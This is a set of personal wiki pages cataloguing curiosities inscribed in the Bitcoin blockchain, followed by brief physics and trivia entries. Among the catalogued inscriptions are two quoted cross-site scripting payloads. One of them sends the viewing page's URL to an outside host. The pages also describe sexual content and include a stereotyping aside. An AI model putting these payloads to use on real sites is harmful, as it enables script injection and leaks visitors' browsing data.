Cool data embedded in the Bitcoin blockchain Other blockchains Updated 2026-03-19
- Namecoin
- nmc.vision/ by x.com/punk3606 is basically the same as this project but for Namecoin: the dude is trying to make database with all namecoin inscriptions ever.
- "Quantum" is an image created by artists Jennifer and Kevin McCoy which Kevin embedded on Namecoin in 2014. As such, it is a relatively early example of inscription. On June 2021 it sold for more than one million dollars at an auction at Sotheby's to NFT collector sillytuna. Bibliography:
- Ethereum
- reidjs.medium.com/top-6-weird-innovative-and-hilarious-findings-in-the-ethereum-blockchain-83dbbca461ca Top 6 Weird, Innovative, and Hilarious findings in the Ethereum Blockchain by Reid Sherman (2018)
- www.ethereumhistory.com dude is reverse engineering some early contracts. It is cool that in Ethereum, every contract is something that you can reverse engineer. Announced e.g. at: www.reddit.com/r/ethereum/comments/1ro4bt9/ive_been_reverseengineering_ethereums_earliest/
- Monero: as of January 2024, Ciro downloaded the blockchain and
strings -n20 -sdidn't seem to have not even a single ASCII art, it is quite sad. Bibliography:
Cool data embedded in the Bitcoin blockchain Porn Updated 2025-12-01
For now we are going to keep this site porn-free and only link to prevent bad things from happening, as it might violate GitHub porn policy depending on how it is hosted, and Google may dislike it. Video "What is more obscene: sex or war? scene from The People vs. Larry Flynt".
If illegal porn were to ever be found, we would be unable to acknowledge that, and would just have to silently remove it. Of course, the reproducible nature of Bitcoin Inscription Indexer means that anyone who regenerates the data would immediately see such entries in the diff.
Another issue is that it can be quite hard to determine if porn is legal or illegal, e.g. it can be hard to distinguish legal an illegal ages or revenge vs consensual porn, especially at the low resolutions that you may expect to find embedded in the blockchain. We are generally going to be quite strict about this, and in case of uncertainty on porn legality we will censor first.
OK the list:
- tx 4c903a377addab7c1e35a685d3dabc664199e406374b1e5ce2fc59e78fb5b754 (2016-07-09) contains an animated GIF of a woman pole dancing. She is seen from behind, in revealing blue clothes that show her buttocks. Reproduced at: twitter.com/cirosantilli/status/1755378949117370668. The file contains the following strings embedded into it:and:
This GIF file was assembled with GIF Construction Set from:
Alchemy Mindworks Inc.
This comment block will not appear in files created with a registered version of GIF Construction SetCryptograffiti.info messages now cheaper.
Protesters were posting large chunks of text multiple times into the blockchain as a way to protest against the controversial increase of block size.
tx 08893442680a20c4d0548dec2c8c421fa43336528b4e274dbf2652774f9c9f2d has the first copy of:which is the first line of a parody on:from the Baby Got Back hip-hop song.
tx 52159222289cd0a5afe0644150d0e23d5d272a57365627d5e869fdb458289858 has the first copy of:which is likely a copy of an email from the bitcoin development mailing list. This message is repeated dozens of times in other transactions.
Time to roll out bigger blocks
Cool data embedded in the Bitcoin blockchain Quotes and threes Updated 2025-07-16
Starting tx 2f201c8518c7b012c03c2c82e40e86f6aaf616ea5fbe22570aac9d2c6611cb68 (2023-03-11), the chain is flooded with ASCII transactions containing many repeated double quotes TODO what is up with that?
" and digits 3, with some other characters interspersed in them without any clear pattern e.g. the first one:""""""""""""""""""""""""""""""""jk""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""'}""""""""""""""""""""""""""""""""/D""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""q1""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""XK""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
Cool data embedded in the Bitcoin blockchain Software Updated 2025-07-16
GitHub is for newbs.
- 50002f38a40aeca96f7d03ceac1c62fc233b44207af99df8f1daddf03f6ef61c via cryptograffiti.info contains a Python script that starts with:
#!/usr/bin/env python3 # # This file is placed in the public domain. # # CryptoGraffiti tool # # Requires python-bitcoinlib-v0.2.1 # # https://github.com/petertodd/python-bitcoinlib # # pip install python-bitcoinlib - 209c9106c7261582f5d0907819c6e10dea670c273133047d911be41f8a42d86f via cryptograffiti.info contains a Base64 encoded Python script starting in:Some related ones:
#!/usr/bin/env python # brainwallet "base58" # v2015-05-18, fixed Tor DNS problem import binascii import hashlib- 25658f625c8f3964593b9e3c632040cb69aea9cf24403af33ab173d7cba7c42f
- 7d188bd499137b5a0d68271ef8a4f3c4dc2f2b38bd03dfc913cb2b0be15b1e0d
Crank (person) Updated 2025-07-16
Yet, all breakthroughs, comes from them, because the people who are crazy enough to believe they can change the world are the ones who actually do ;-)
Cool data embedded in the Bitcoin blockchain Technically interesting ordinal Updated 2025-07-16
This section is about ordinals that are interesting primarily due to technical reasons linked to edge cases of the protocol.
Interesting MIME types:
- ordinals.com/inscription/dad86d722156b8c384c1f3243e40aa7a0f6f5be496bc24e19485831584f9803fi0: mime type is an UTF-8 orange emoji "🟠"
- ordinals.com/inscription/bc7b86245159cdf8bc63489687909f766a0a0e08279d23fb077cdd60ab1e9f22i0: mime type is an XSS attempt:
<script>alert('xss in content type')</script> tx=bc7b86245159cdf8bc63489687909f766a0a0e08279d23fb077cdd60ab1e9f22 - ordinals.com/inscription/bc7b86245159cdf8bc63489687909f766a0a0e08279d23fb077cdd60ab1e9f22i0: mime type is "FuckYou"
- ordinals.com/inscription/00b0ece72217ce49b637b3f9bf5335bc245e588568aa0676581b40c1bedc521di0: the mime is a long JSON. However, it does appear to be a valid feature as it rendered specially on ordinals.com.
Different
ord markers:- 71e85885522047240a9e70542145dbf2385e1bd468e6ac6002aa755422ea10f5 uses
takingnames. Decode with:gives the PNG of the wireframe draing of a washing machine with transparent background.bitcoin-core.cli decodescript "$(bitcoin-core.cli getrawtransaction 71e85885522047240a9e70542145dbf2385e1bd468e6ac6002aa755422ea10f5 true | jq -r '.vin[0].txinwitness[1]')" | jq -r .asm | sed 's/.* 0 //;s/ OP_ENDIF//;s/ //g' | xxd -r -p > 71e85885522047240a9e70542145dbf2385e1bd468e6ac6002aa755422ea10f5.png
Cool data embedded in the Bitcoin blockchain Text Updated 2025-07-16
Here are some exceptionally interesting text inscriptions that are not mentioned in other sections:
- Section "Genesis block message"
- tx 3a1c1cc760bffad4041cbfde56fbb5e29ea58fda416e9f4c4615becd65576fe7 (2013-04-10) has the broken Basic creature simulation mentioned at Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014) section "A creature simulator in Basic" starting with:
10 REM The variables in life 20 ' life the lifespan of a creature 30 ' mates the number of mates a creature needs to breed - tx 61e26d407c17e8ee33a8b166c78f78c53cdcdc0078ae1f9405e6583cfb90eaf4, block 268081 (2013-11-05). This is a very interesting transaction, it contains inscriptions both on the input script and on the output script. On the input:On the output:
I should not run the washing machine while listening to WZBC. I managed to convince myself that the machine was slowly failing -- that a rythmic, squeaking noise it had been making had gotten a little worse. Ten minutes later, though, the machine had paused. But the noise was still there.
Feels like a Koan. I wish I knew who inscribed this.> Skynet went online on August 4th 1997, and began to learn at a geometric rate. > It became self-aware on August 29th 1997 2:14 am Eastern Time. On August 29th > 1997 2:15 am it discovered nihilism, and either shut itself down due to > despair, or because it was logical. We're not sure which. On August 4th, 1998, it failed to renew its domain name, which was promptly squatted on by a link farmer pitching X10 cameras and singing electric fish. - tx 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af block 305806 (2014-06-14) contains a blockchain explorer XSS detector that reports its location back to: www.trollbot.org/xss-blockchain-detector.phpSoon afterwards at tx a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 block 305809 there is a different version with slightly different escaping:
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>Also of interest, the output script of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af is non standard and a provably unspendable Bitcoin output script. a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 however, although also non-standard, was spendable and was spent, further analysis at: Section "4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af".<script type='text/javascript'>document.write('<img src=\'http://www.trollbot.org/xss-blockchain-detector.php?bc=btc&href=' + location.href + '\'>');</script> - tx 713a6832365a68f71c6aee879f79b70e6e738cd6255f09bc41f204c81575c248 (2014-09-28) via cryptograffiti.info has the eleven rules of LaVevan Stanism starting with:
- tx 604f17dfdb5a88fc072bd2bcf53436087c899051241e519af7241dc0037d3df6 (2014-12-01) has a cover letter for a job at Hive Blockchain Technologies Ltd:At news.ycombinator.com/item?id=26826334 the supposed author mentions they didn't reply... sad. He did get to work for another Blockchain company though: www.ascribe.io, which eventually died. Presumably github.com/TimDaub.
Dear hive team, ever since I have discovered Bitcoin I have been a fan of your products. [...]. Sincerely, Tim Daubenschuetz
- tx 213e8f46f98e96f4f4d8b45bd3a1cbada14213796c200220e1e8c2b315988faa (2015-03-25)contains a full-text copy of: cointelegraph.com/news/113806/warning-kaspersky-alerts-users-of-malware-and-blockchain-abuse (2015-03-27), includinga link to it. Two other copies appear in future transactions tx c863aa9d6aa9345e4abdc216b6f035c4276b4423a924bb2e1593c22c670cba6f and tx ba58caf1a27ab7ca627cc3efa5914e4d37e00b3a7e9cf29508d451dc3da00bf7
Warning! Kaspersky Alerts Users of Malware and 'Blockchain Abuse'
- tx 3405f441f0d3acd8580d261d58e5a14d7638d0ee29200e673f496198d231edd7 block 364852 (2015-07-11) and a nearby transaction on the same block 1759ed3f0f5829711157c1fc3662f4bf01f3bee3a430242bc729898bb77c2a4a via cryptograffiti.info contains a possibly novel long short story entitled:The first paragraph is:
How to Play Chinese Hats - A Short Story - 2015At the end we see a signature and a tipjar:Somehow, you find yourself in a dim and smoky room with no entrance, exit or windows, without knowing how you got there or even where you've come from. In front of you are a group of Chinese gentlemen shuffling around what looks to be traditional black Chinese hats styled after the Ming dynasty, on a circular chestnut wood table. Surprisingly, you find the same type of hat in your very own hand when you look down.
He did receive one tipin 2015 for 0.02590000 BTC: www.blockchain.com/explorer/addresses/BTC/1LQGWkhE7GULhj2gjjRwB9uZR7SMfGvjGVRen @ 1LQGWkhE7GULhj2gjjRwB9uZR7SMfGvjGV - tx 0b63ebfadcb7bb66bc2a4bc7b826587505eab0450ca64c376ac9912a00d35c54 block 371796 (2015-08-27) via cryptograffiti.info has a large text entitled with what seems to be a storm forecast:A Wikipedia page about the August 2015 event: en.wikipedia.org/wiki/Tropical_Storm_ErikaThe storm was formed "August 24, 2015", so this inscription was contemporary. Good friend, warning his fellow Bitcoiners.
Tropical Storm Erika was one of the deadliest and most destructive natural disasters in Dominica since Hurricane David in 1979.
- tx 4dd57f3e443ad1567a37beab8f6b31d8cb1328a26bac09e50ba96048ad07b8c1 (2015-09-03) via cryptograffiti.info contains a long porn comededy text in an Italian-like languge starting with:which translates to:
E il cazzo non entr
.And the dick doesn't fit
By dumping the transaction data, we actually see that the beginning was slightly missed due to a character encoding issue, the text actually starts with:followed by some non ASCII characters that we haven't yet been able to decode. It is not ISO_8859-1.BANG!
Ciro Santilli first thought it might beto be a dialect of Italian, or possibly Sicilian language given the presence of "sv" in the text, but an Italian friend says it is just Italian with several words cut in half, possibly for comedic effect. No pre-existing hits found on the web. - tx 24e137d5b478d9a8b947e4f3f6130a86f2e0f6a2dda1cac1373b485c577f8ba7 (2015-12-03) contains a tale of an Electrical Engineer vs a Software developer tale.Possible original: www.cs.brandeis.edu/~hornby/amuse/vs_toast.txt
- tx e2c20c2977589240ad9486672a0273d340ed5f8b50a50071716d12035d7212e8 (2016-01-31) has a large Lorem ipsum
- tx 5f62490ca4736da30da35ebc3f86156dbdb529dcb2f77cb8b0eb84868d567b00 (2016-05-05) via cryptograffiti.info contains a poem entitled:whichi is Dutch for;
Voor mijn jongere broeder
No Google hits, so possibly novel.For my younger brother
- tx 0809e7f31d074eefc0f1f02463a28b5238688aa73e6361c01cbc7b1848ac8d93 (2017-07-10) via cryptograffiti.info contains a white paper entitled:by Erich Ertsu from Coingaming Group (July, 2017). He was previously the creator of cryptograffiti.info This is the startup: www.crunchbase.com/organization/coingaming, previously at coingaming.io but now moved toyolo.com. The paper does not seem to be reproduced anywhere on the clearweb, the blockchain was its primary location of publication.
Disincentivizing Double-Spending by Making it Unprofitable
- tx e450166eba552202fb6984867f2b851e2399c5a0ae05026bf6b056176491ec5d (2017-03-11)
- tx 0f25e23b7b59fde67d8b2d41b749e4f89fd1ff8061aa0ddac8c27c8230167e35 (2017-08-18):Epic. The transaction sent:
A Crosschain transaction was sent in to your address in error. The transaction was 9174f24946496823e4edaf3fe1676a404164178d1c848fa476113bbe2f5b9463 . Please return to 1AAEXtLo9SoyFQbZvWoqAMCpkz9okSpCuV. Thank you in advance."
1AAEXtLo9SoyFQbZvWoqAMCpkz9okSpCuV never received anything back so far.- 0.23225200 to 1BqyRKHoLEKgHGUoDiFUEZu5jPaWeuCWWt
- 5.6 BTC to 1JG8EVTx1zWzDyctAD5fFuMt59TWkSw2dW
- tx 057954bb28527ff9c7701c6fd2b7f770163718ded09745da56cc95e7606afe99, block 666666 (2021-01-18):As highlighted at www.reddit.com/r/Bitcoin/comments/vxletr/message_was_embedded_in_block_666666/ the block number is a reference to the number of the beast. Later also posted on another Reddit thread: A Weird Message Was Embedded in Bitcoin’s 666,666th Block — Turns Out It’s a Bible Verse (2025)
Do not be overcome by evil, but overcome evil with good - Romans 12:21
TODO:
- 55a5d0c09ad5535711d649fdab394add3bb6e50cc2c49920cf0cb758ff0b69e8 via cryptograffiti.info contains what seems to be a ASCII table tracking train movements? Maybe from a train lover? But also curiously, it is GPG signed:Interesting.
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 time direction # covered #uncovered notes 11/11/2013 6:31pm E 4 1 csx 6243 11/19/2013 4:46pm E 3 0 csx 6215 11/19/2013 5:44pm W 4 0 Amtrak 11/21/2013 4:05pm E 0 0 csx 620686c1b7bd8bbdd8903355a8f6a408616621fd2ea4321b9aced778f388afe0b244 has something similar. - cc38d740dc1999a803dbba0c48a82af994861e0767f6bcd7d6ceebe4e66b4678 via cryptograffiti.info contains a pipe dream technical proposal idea entitled:
Attack-resistant decentralized time and location services via Nakamoto chain consensus.
- 5d9ef37e6beea5342ce1cb2681a7b465a542394aeda2b1e1fed00fab44b17833 via cryptograffiti.info contains a test of every character from 0 to 255, e.g. some of the readable characters are:d5f6614b4e3bdc611c8ad15f158163e48e1a1298ea5f5f9832ada8db6e2dd4b2 has something similar.
65: A 66: B 67: C 68: D 69: E 70: F 71: G 72: H 73: I 74: J 75: K 76: L 77: M - 0f96b2f6e3c4f4b6319efbafd2e7148d507b260b4d7914766e79aec7d9ac9574 via cryptograffiti.info has a long-ish message that looks like a software release note, not sure what it is about:
Truecrypt 7.1a ============== 2015-07-19 I am setting the filesizes and checksums of the last Truecrypt version (7.1a) in stone. - 206a0edb11ba0677248709d9bc5210b35e8a03710d9bb19c6f1e4e254bf21f5e via cryptograffiti.info has a letter to AGI:While cute, the author clearly underestimates the magnitude of singularity!
Dear Artificial Intelligence,
- cdbeb50c11b788fa4e67e00fb2e2607b129492a4a38bed0a9e31443a42e272a4 via cryptograffiti.info contains a semi-philosophical text that starts with:
When in the course of cosmic evolution,
- b55c3312ceeeb4ab422b658f5f4d5884775a498ddde6a527fca7b67752e1b044 via cryptograffiti.info contains some wedding vows starting with and GPG-signed:
- 3620da027df2e2e34ac9abe0123dcd7217fc5b8dec9921cbae258c640c7a6591 via cryptograffiti.info contains a neatly formatted UTF-8 ad with a link to: bitcointalk.org/index.php?topic=1033773.0The thread links to bcexchange.org/ which is dead as of 2024.
╭───────────────────────────────────────────────────────────────────────────╮ │ B&C EXCHANGE: A decentralized cryptocurrency exchange for everyone │ ┝━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┥ │ https://bitcointalk.org/index.php?topic=1033773.0 │ │ │ │ B&C Exchange will be an open-source decentralized exchange that completes │ │ cryptocurrency trades between users by utilizing multisig signers that │ │ compete for blockchain rewards based on their effectiveness and honesty. │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤ ┆ ▷▶▷▶ There are 10 days left in the auction! ◀◁◀◁ ┆ ╰───────────────────────────────────────────────────────────────────────────f93e128c59b357ca2d1b256eb1c4d991c488da460527ca0898dc789210073bd2 has another one:┏━━ UTF-8 is coming to CryptoGraffiti.info!!! ━━┓ ┠╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┨ ┃ I love you. Σ΄αγαπώ. ┃ ┃ Ma armastan sind. ┃ ┃ Aš tave myliu. Mä rakastan sua. ┃ ┃ Я люблю тебя. ┃ ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ - 140562ceb42fc8943fa52ccc0ddbb11ca2d88dae9b5240d7a4b46864538c515aTODO understand this part:
Reddit on the Bitcoin blockchain Test
The "Address" you see above is more than a bitcoin address? For example, the web address to this reddit thread is: https://www.reddit.com/r/Bitcoin/comments/3cdxep/reddit_on_the_blockchain_test/ Which converts to the bitcoin address of: 12uPLj6PSz6ULnZi1jXo7Ch1Je1SuqxRcE How? Because any text, like a web address, can be converted into a bitcoin address. www.reddit.com = 1MZCEUCtyJCDkNSLYbPVvAgf9V3CsEw3t www.google.com = 1JEZLaFciACHDEMVd3RXZzPmGcsWEwYQLr www.voat.com = 1JvCp9X5Bvvt2kz3EqP5ppkzX62sKgKbqr www.paystamper.com = 14wgeaWz2rKax8iVSWNFSrSsAYNeGyNdkt Duriel@paystamper.com = 1HcuhfTAiQCt6KdMG2rZLXsTcKYj9nLDhS - 940f41f5cc96182c1392c239d7570f94bd524e141ca0a88fdb154bd817049f83.bin via cryptograffiti.info contains some links to profiles controlled by a "Daniel Michael Abraham" www.linkedin.com/in/daniel-abraham-9432a798/. Other messages by him:
- 3d39024fa0cddfc529d4a41501df7a076f5bcf9a7a43f88f54a717e6df7f4770
- 088ebf7ffdef96b8fcac7eafa2ff6d04f295ea24f159e1ce4b7d47ed7b91b1f9
Cool data embedded in the Bitcoin blockchain The largest transactions in the Bitcoin Blockchain Updated 2025-07-16
- bb41a757f405890fb0f5856228e23b715702d714d59bf2b1feb70d8b2b4e3e08 999,657 bytes. Joins a bunch of tiny inputs into a single output
- 623463a2a8a949e0590ffe6b2fd3e4e1028b2b99c747e82e899da4485eb0b6be and 5143cf232576ae53e8991ca389334563f14ea7a7c507a3e081fbef2538c84f6e both have 3,075 outputs of 1 satoshi each and a single input. We were not able to identify any meaningful data in it,
filejust saysdata, and there aren't long ASCII strings. However, the outputs were unspent as of 2021, which suggests that they might actually be data.
Analysis of some of them follows.
- dd9f6bbf80ab36b722ca95d93268667a3ea6938288e0d4cf0e7d2e28a7a91ab3 has 13107 with payload 256KB in size, but some of them at least have been spent: www.blockchain.com/btc/tx/dd9f6bbf80ab36b722ca95d93268667a3ea6938288e0d4cf0e7d2e28a7a91ab3 therefore it's not data.
filesays their payload is a DOS executable, but it must be a coincidence
Copley Medal Updated 2025-07-16
royalsociety.org/grants-schemes-awards/awards/copley-medal/ says it is now open to international citizens, but having a quick look at the 2010 awards still suggests that it is very British centric, or at least anglophone centric, much like the society fellowship itself. That's likely the reason why the Nobel prize won, being much more international from the start.
Corpuscular theory of light Updated 2025-07-16
The Quantum Story by Jim Baggott (2011) page 2 mentions how newton's support for the corpuscular theory of light led it to be held for a very long time, even when evidence of the wave theory of light was becoming overwhelming.
Correlation between sofware engineers and Asian fetish Updated 2025-07-16
www.quora.com/Why-do-successful-geeky-white-men-have-Asian-wives-This-seems-to-be-the-norm-in-Silicon-Valley suggests it is just an statistical inevitability.
Correspondence principle Updated 2025-07-16
Cosmic microwave background Updated 2025-07-16
To make sense of how it is possible to see this light, you can think of the universe as the expanding raisin bread model, but it expands faster than light (thus the existence of the cosmological event horizon), so we are still receiving light form the middle, not the borders.
CMB is basically perfectly black-body radiation at 2.725 48 K, but it has small variations with variations of the order of 200 microKelvin: cosmic microwave background anisotropy.
Cray Updated 2025-07-16
DeepMind Lab2D vs gvgai Updated 2025-07-16
At twitter.com/togelius/status/1328404390114435072 called out on DeepMind Lab2D for not giving them credit on prior work!As seen from web.archive.org/web/20220331022932/http://gvgai.net/ though, DeepMind sponsored them at some point.
This very much looks like like GVGAI which was first released in 2014, been used in dozens (maybe hundreds) of papers, and for which one of the original developers was Tom Schaul at DeepMind...
Cosmic microwave background anisotropy Updated 2025-07-16
There is a slight variation in temperature of CMB across the sky of the order of 200 microKelvin. It is small to the ~2.7 K average temperature, but it can be measured.
If the initial conditions of the Big Bang and the laws of physics were perfectly symmetric, then we could expect the universe to just be one perfectly uniform boring soup.
But instead some asymetry made all the fun weird things we see today happen eventually, like galaxies and life.
And the cosmic microwave background serves as a way for us to look back in time to the early conditions of the universe, as it was set in stone as soon as the universe became transparent to this light during recombination.
Or if you want to get poetic, it is the closest we can ever get to listening to the original word of God when he setup the initial conditions of the universe.
The ansiotropies of CMB is the ultimate astronomical compass we will ever have, as it is the thing with the least proper motion.
Cosmic ray Updated 2025-07-16
Cosmological event horizon Updated 2025-07-16
Cosmos: A Personal Voyage (1980) Updated 2025-07-16
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